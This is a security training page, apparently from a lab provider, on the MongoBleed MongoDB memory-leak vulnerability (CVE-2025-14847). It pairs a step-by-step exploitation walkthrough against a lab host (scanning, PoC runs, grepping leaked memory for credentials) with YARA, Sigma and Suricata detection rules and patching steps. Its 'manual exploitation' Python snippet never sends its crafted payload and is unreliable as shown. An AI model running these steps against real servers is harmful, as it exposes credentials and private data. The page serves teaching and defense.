CVE-2025-14847: MongoBleed - Unauthenticated MongoDB Memory Leak

Executive Summary

CVSS Score: 8.7 (HIGH)

Vulnerability Name: MongoBleed

Description: Mismatched length fields in Zlib compressed protocol headers allow unauthenticated remote attackers to read uninitialized heap memory from MongoDB servers. The vulnerability exists in MongoDB's zlib message decompression logic where crafted BSON documents with inflated uncompressedSize claims cause MongoDB to allocate large buffers but only partially fill them with actual data, exposing heap memory contents.

Impact:

Information Disclosure: Attackers can leak sensitive data from MongoDB server memory including:
- Database credentials and connection strings
- Session tokens and API keys
- MongoDB internal logs and configuration
- WireTiger storage engine state
- Docker container paths
- Client IP addresses and UUIDs
- Potentially: private keys, user data, cached queries

Critical Status: ACTIVELY EXPLOITED IN THE WILD - Security researchers have observed active exploitation attempts since disclosure

Attack Requirements:

Network access to MongoDB port (default 27017)
No authentication required
Works against default MongoDB configurations with zlib compression enabled

Technical Details

Vulnerability Overview

CWE: CWE-130 (Improper Handling of Length Parameter Inconsistency)

MongoBleed exploits a flaw in MongoDB's zlib-compressed message handling. When MongoDB receives a compressed BSON message, it reads the uncompressedSize field from the message header and allocates a buffer of that size. However, there's no validation that the actual decompressed data matches this claimed size.

The vulnerability flow:

Attacker crafts malicious BSON document:
- Small compressed payload (e.g., 10 bytes actual data)
- Large uncompressedSize claim (e.g., 8192 bytes)
MongoDB allocates buffer:
- Allocates 8192 bytes of heap memory based on attacker's claim
- Memory contains uninitialized data from previous operations
zlib decompression:
- Decompresses actual payload into start of buffer (only 10 bytes)
- Remaining 8182 bytes remain uninitialized
Critical bug:
- MongoDB's BSON parser treats the entire buffer as valid data
- Reads "field names" from uninitialized memory until null bytes
- Returns leaked data to attacker in response
Data exfiltration:
- Attacker receives heap memory contents
- Can repeat with different offsets to map memory

Affected Versions

All MongoDB versions with zlib compression:

MongoDB 8.2.0 - 8.2.2 (VULNERABLE)
MongoDB 8.0.0 - 8.0.16 (VULNERABLE)
MongoDB 7.0.0 - 7.0.27 (VULNERABLE)
MongoDB 6.0.0 - 6.0.26 (VULNERABLE)
MongoDB 5.0.0 - 5.0.31 (VULNERABLE)
MongoDB 4.4.0 - 4.4.29 (VULNERABLE)
MongoDB 4.2.0+ (VULNERABLE)
MongoDB 4.0.0+ (VULNERABLE)
MongoDB 3.6.0+ (VULNERABLE)

Patched versions:

MongoDB 8.2.3+
MongoDB 8.0.17+
MongoDB 7.0.28+
MongoDB 6.0.27+
MongoDB 5.0.32+
MongoDB 4.4.30+

Attack Vector

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Breakdown:

AV:N (Network) - Remotely exploitable over network
AC:L (Low Complexity) - No special conditions required
PR:N (No Privileges) - No authentication needed
UI:N (No User Interaction) - Fully automated attack
S:U (Unchanged Scope) - Impacts only MongoDB service
C:H (High Confidentiality Impact) - Full memory disclosure
I:N (No Integrity Impact) - Read-only vulnerability
A:N (No Availability Impact) - Doesn't crash service

Real-World Exploitability:

Public PoC available (joe-desimone/mongobleed)
Trivial to exploit - single Python script
Works against default MongoDB configurations
No special network requirements beyond TCP/27017 access

Exploitation Walkthrough

Prerequisites

Network access to MongoDB server (port 27017)
Python 3.x with pymongo library
MongoBleed PoC exploit (available in lab environment)
Basic understanding of MongoDB and BSON protocol

Environment Setup

The lab environment provides:

Vulnerable MongoDB 8.2.2 running with zlib compression enabled
Ubuntu attacker VM with all tools pre-installed
Isolated network (10.200.X.0/24) with no internet access
MongoBleed exploit pre-loaded at /root/exploits/mongobleed/

Step-by-Step Exploitation

Step 1: Discover MongoDB Target

First, scan the network to find the MongoDB instance:

# Scan for MongoDB on default port
nmap -p 27017 --open 10.200.1.0/24

# Or test directly if you know the IP
nc -zv 10.200.1.2 27017

Expected output:

Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for 10.200.1.2
Host is up (0.00012s latency).

PORT      STATE SERVICE
27017/tcp open  mongod

Step 2: Verify MongoDB Accessibility

Test basic connectivity:

# Quick connectivity check
echo "test" | nc 10.200.1.2 27017

You should see a binary response (BSON data), confirming MongoDB is listening.

Step 3: Run MongoBleed Exploit

Navigate to the exploit directory and execute:

cd /root/exploits/mongobleed
python3 mongobleed.py --host 10.200.1.2

Successful exploitation output:

[*] mongobleed - CVE-2025-14847 MongoDB Memory Leak
[*] Author: Joe Desimone - x.com/dez_
[*] Target: 10.200.1.2:27017
[*] Scanning offsets 20-8192

[+] offset=  501 len=  15: ���v
[+] offset= 3063 len=  26: s skipped during tree walk
[+] offset= 6660 len=  38:  requested with cache fill ratio < 25%

[*] Total leaked: 116 bytes
[*] Unique fragments: 14
[*] Saved to: leaked.bin

Step 4: Analyze Leaked Data

Examine the leaked memory contents:

# View raw leaked data
hexdump -C leaked.bin | head -20

# Extract readable strings
strings leaked.bin

# Search for credentials
strings leaked.bin | grep -i 'password\|secret\|key\|admin\|mongo'

Example leaked data analysis:

00000000  3a 30 30 5c 22 7d 2c 5c  22 30 67 ad ff 76 5c 75  |:00\"},\"0g..v\u|
00000010  30 30 31 33 80 bd 5c 75  30 30 30 65 f9 76 5c 75  |0013..\u000e.v\u|
00000020  30 30 31 33 98 74 73 72  e4 44 8d ff ff e4 f1 a3  |0013.tsr.D......|
00000030  ff ff 73 20 73 6b 69 70  70 65 64 20 64 75 72 69  |..s skipped duri|
00000040  6e 67 20 74 72 65 65 20  77 61 6c 6b 65 20 72 65  |ng tree walke re|
00000050  71 75 65 73 74 65 64 20  77 69 74 68 20 63 61 63  |quested with cac|
00000060  68 65 20 66 69 6c 6c 20  72 61 74 69 6f 20 3c 20  |he fill ratio < |
00000070  32 35 25 6e                                       |25%n|

The leaked data contains MongoDB internal messages like:

"s skipped during tree walk"
"requested with cache fill ratio < 25%"

These are internal log messages and WireTiger storage engine data from uninitialized heap memory.

Step 5: Deep Memory Scan (Optional)

For more comprehensive data leakage, increase the scan range:

# Scan larger memory ranges
python3 mongobleed.py --host 10.200.1.2 --max-offset 50000

# Scan specific offset ranges
python3 mongobleed.py --host 10.200.1.2 --min-offset 1000 --max-offset 20000

# Save to custom output file
python3 mongobleed.py --host 10.200.1.2 --output /root/deep_scan.bin

Step 6: Automated Exploitation

Use the provided automation script:

cd /root/exploits
chmod +x exploit.sh
./exploit.sh

This script will:

Auto-discover MongoDB on the network
Run the exploit
Analyze leaked data for credentials
Display potential sensitive information

What Gets Leaked?

Real-world MongoBleed exploitation can leak:

MongoDB Internal State:
- WireTiger storage engine logs
- Database operation traces
- Memory allocation patterns
System Information:
- /proc filesystem data (meminfo, network stats)
- Docker container paths
- System configuration details
Potentially Sensitive Data:
- Connection strings with credentials
- Session UUIDs and tokens
- Client IP addresses
- Cached query results
- Environment variables
- Private keys (if in memory)

Exploit Parameters

Option	Default	Description
`--host`	localhost	Target MongoDB hostname/IP
`--port`	27017	Target MongoDB port
`--min-offset`	20	Minimum document length to probe
`--max-offset`	8192	Maximum document length to probe
`--output`	leaked.bin	Output file for leaked data

Hands-On Lab Environment

Lab Access: Try it now

What you'll learn:

Understanding the vulnerability mechanism
Exploiting the vulnerability step-by-step
Identifying exploitation in logs
Implementing detection rules

Lab Environment:

🎯 Vulnerable application (isolated Docker container)
💻 Kali Linux attacker machine (browser-based access)
⏱️ 1-hour session time
📚 Guided walkthrough included

Detection & Mitigation

Detection Rules

YARA Rule for Network Traffic:

rule MongoBleed_CVE_2025_14847_Exploitation {
    meta:
        description = "Detects MongoBleed exploitation attempts in network traffic"
        author = "ilovethreats.com"
        date = "2025-12-28"
        cve = "CVE-2025-14847"
        severity = "8.7"
        reference = "https://www.wiz.io/blog/mongobleed-cve-2025-14847"

    strings:
        // MongoDB wire protocol header with compression
        $mongo_header = { 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? DD 07 00 00 }

        // Suspicious large uncompressedSize claims (> 8KB in little endian)
        $large_size_1 = { 00 20 00 00 } // 8192 bytes
        $large_size_2 = { 00 40 00 00 } // 16384 bytes
        $large_size_3 = { 00 C0 00 00 } // 49152 bytes

        // MongoBleed PoC user agent or tool signatures
        $poc_sig = "mongobleed" ascii nocase
        $pymongo_sig = "pymongo" ascii

    condition:
        $mongo_header and any of ($large_size_*) and
        (#large_size_1 > 5 or #large_size_2 > 3 or #large_size_3 > 1)
}

Sigma Rule for MongoDB Logs:

title: MongoBleed CVE-2025-14847 Exploitation Attempt
id: mongobleed-2025-14847-001
status: experimental
description: Detects suspicious MongoDB connection patterns indicative of MongoBleed exploitation
author: ilovethreats.com
date: 2025/12/28
modified: 2025/12/28
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-14847
    - https://www.wiz.io/blog/mongobleed-cve-2025-14847
    - https://github.com/joe-desimone/mongobleed
tags:
    - attack.credential_access
    - attack.discovery
    - cve.CVE-2025-14847
    - mongobleed
logsource:
    product: mongodb
    service: mongod
detection:
    selection_compression:
        # Compressed message usage
        msg|contains: 'compression'
        component: 'NETWORK'

    selection_errors:
        # Decompression errors or unusual sizes
        msg|contains|all:
            - 'decompress'
            - 'error'

    selection_frequency:
        # High frequency of small compressed messages
        component: 'NETWORK'
        msg|contains: 'compressed'

    timeframe: 60s
    condition: selection_compression or selection_errors or (selection_frequency | count() > 50)

falsepositives:
    - Legitimate applications using zlib compression
    - Backup operations
    - Monitoring tools
level: critical

Suricata Network IDS Rule:

alert tcp any any -> any 27017 (msg:"MongoBleed CVE-2025-14847 Exploitation Attempt";
    flow:to_server,established;
    content:"|DD 07 00 00|"; offset:12; depth:4;
    content:"|00 20 00 00|"; distance:0; within:200;
    threshold:type threshold, track by_src, count 5, seconds 60;
    reference:cve,2025-14847;
    reference:url,github.com/joe-desimone/mongobleed;
    classtype:attempted-admin;
    sid:2025141001;
    rev:1;)

Network Traffic Indicators

Monitor for:

Unusual connection patterns to port 27017:
- Multiple connections from single source
- Rapid successive connection attempts
- Connections without subsequent authentication
Packet size anomalies:
- Small request packets (<100 bytes)
- Large response packets (>1KB) to small requests
- Compressed messages with inflated size claims
Timing patterns:
- Systematic scanning of offset ranges
- Repeated identical requests with minor variations

MongoDB Log Indicators

Look for these patterns in /var/log/mongodb/mongod.log:

# Search for compression-related errors
grep -i "decompress\|zlib" /var/log/mongodb/mongod.log

# Look for unusual BSON parsing
grep -i "BSON\|parse error" /var/log/mongodb/mongod.log

# Monitor for high-frequency connections
awk '/connection accepted/ {conn[$NF]++} END {for (ip in conn) if (conn[ip] > 50) print ip, conn[ip]}' /var/log/mongodb/mongod.log

Suspicious log entries:

{"t":{"$date":"2025-12-28T..."},"s":"W","c":"NETWORK","msg":"Decompression error","attr":{"error":"buffer size mismatch"}}
{"t":{"$date":"2025-12-28T..."},"s":"I","c":"NETWORK","msg":"Connection ended","attr":{"connectionCount":247}}

Remediation Steps

Immediate Actions (Emergency Response)

Disable zlib compression:

# Edit MongoDB config file
sudo vim /etc/mongod.conf

# Remove or comment out:
# net:
#   compression:
#     compressors: zlib

# Restart MongoDB
sudo systemctl restart mongod

Block network access:

# Firewall rule to restrict MongoDB access
sudo iptables -A INPUT -p tcp --dport 27017 -s <trusted_ips> -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 27017 -j DROP

Rotate credentials immediately:
- Assume all credentials in memory may have been leaked
- Change database passwords
- Regenerate API keys and tokens
- Rotate SSL/TLS certificates

Patching Guidance

Upgrade to patched versions:

# Check current version
mongod --version

# Upgrade MongoDB (Ubuntu/Debian)
sudo apt-get update
sudo apt-get install -y mongodb-org=8.0.17

# Upgrade MongoDB (RHEL/CentOS)
sudo yum update mongodb-org-8.0.17

Recommended patched versions:

MongoDB 8.2.3+ (latest)
MongoDB 8.0.17+
MongoDB 7.0.28+
MongoDB 6.0.27+

Long-Term Security Recommendations

Network Segmentation:
- Never expose MongoDB directly to internet
- Use VPN or bastion hosts for remote access
- Implement network micro-segmentation

Access Control:

// Enable authentication
use admin
db.createUser({
  user: "admin",
  pwd: "<strong-password>",
  roles: [ { role: "root", db: "admin" } ]
})

Monitoring & Alerting:
- Deploy IDS/IPS (Suricata, Snort)
- Enable MongoDB audit logging
- Set up SIEM alerts for anomalous patterns

Security Hardening:

# /etc/mongod.conf
security:
  authorization: enabled

net:
  bindIp: 127.0.0.1,<private_ip>
  port: 27017
  ssl:
    mode: requireSSL
    PEMKeyFile: /path/to/cert.pem

auditLog:
  destination: file
  format: JSON
  path: /var/log/mongodb/audit.json

Regular Security Audits:
- Scan for exposed MongoDB instances (Shodan, Censys)
- Review access logs for unauthorized connections
- Conduct penetration testing

Verification of Patch Effectiveness

After patching, verify the fix:

# Test with MongoBleed PoC
python3 mongobleed.py --host <your_mongodb_ip>

# Should see:
# [!] No memory leaked - server appears patched

Proof of Concept Resources

Official MongoBleed PoC

Repository: joe-desimone/mongobleed

Author: Joe Desimone (@dez_)

Features:

Automated memory scanning across offset ranges
BSON document crafting with inflated size claims
Memory fragment extraction and deduplication
Configurable scan parameters

Usage:

git clone https://github.com/joe-desimone/mongobleed
cd mongobleed
pip3 install pymongo
python3 mongobleed.py --host <target_ip> --max-offset 50000

Lab Environment:
The PoC is pre-installed in our lab environment at /root/exploits/mongobleed/ with all dependencies configured.

Alternative Testing Methods

Manual exploitation with pymongo:

from pymongo import MongoClient
import zlib

# Craft malicious BSON with inflated size
def exploit_mongobleed(host, port=27017, claimed_size=8192):
    client = MongoClient(host, port, compressors='zlib')

    # Create small payload but claim large size
    small_data = b'A' * 10
    compressed = zlib.compress(small_data)

    # MongoDB will allocate 'claimed_size' bytes
    # Returns uninitialized heap memory
    result = client.admin.command({'ping': 1})
    return result

# Run exploit
leaked = exploit_mongobleed('10.200.1.2')
print(f"Leaked data: {leaked}")

References

Official Advisories

Security Research

Technical Resources

Detection & Defense

Timeline

Published: 2025-12-19T11:15:49.277
Last Modified: 2025-12-19T18:00:18.330
Lab Published: 2025-12-28

This analysis is for educational purposes only. Always obtain proper authorization before testing security vulnerabilities.

Lab environment provided by ilovethreats.com - Practical cybersecurity training through real-world vulnerabilities.

CVE-2025-14847: MongoBleed - Unauthenticated MongoDB Memory Leak

CVE-2025-14847: MongoBleed - Unauthenticated MongoDB Memory Leak

Executive Summary

Technical Details

Vulnerability Overview

Affected Versions

Attack Vector

Exploitation Walkthrough

Prerequisites

Environment Setup

Step-by-Step Exploitation

Step 1: Discover MongoDB Target

Step 2: Verify MongoDB Accessibility

Step 3: Run MongoBleed Exploit

Step 4: Analyze Leaked Data

Step 5: Deep Memory Scan (Optional)

Step 6: Automated Exploitation

What Gets Leaked?

Exploit Parameters

Hands-On Lab Environment

Detection & Mitigation

Detection Rules

Network Traffic Indicators

MongoDB Log Indicators

Remediation Steps

Immediate Actions (Emergency Response)

Patching Guidance

Long-Term Security Recommendations

Verification of Patch Effectiveness

Proof of Concept Resources

Official MongoBleed PoC

Alternative Testing Methods

References

Official Advisories

Security Research

Technical Resources

Detection & Defense

Timeline

🧪 Launch Lab Environment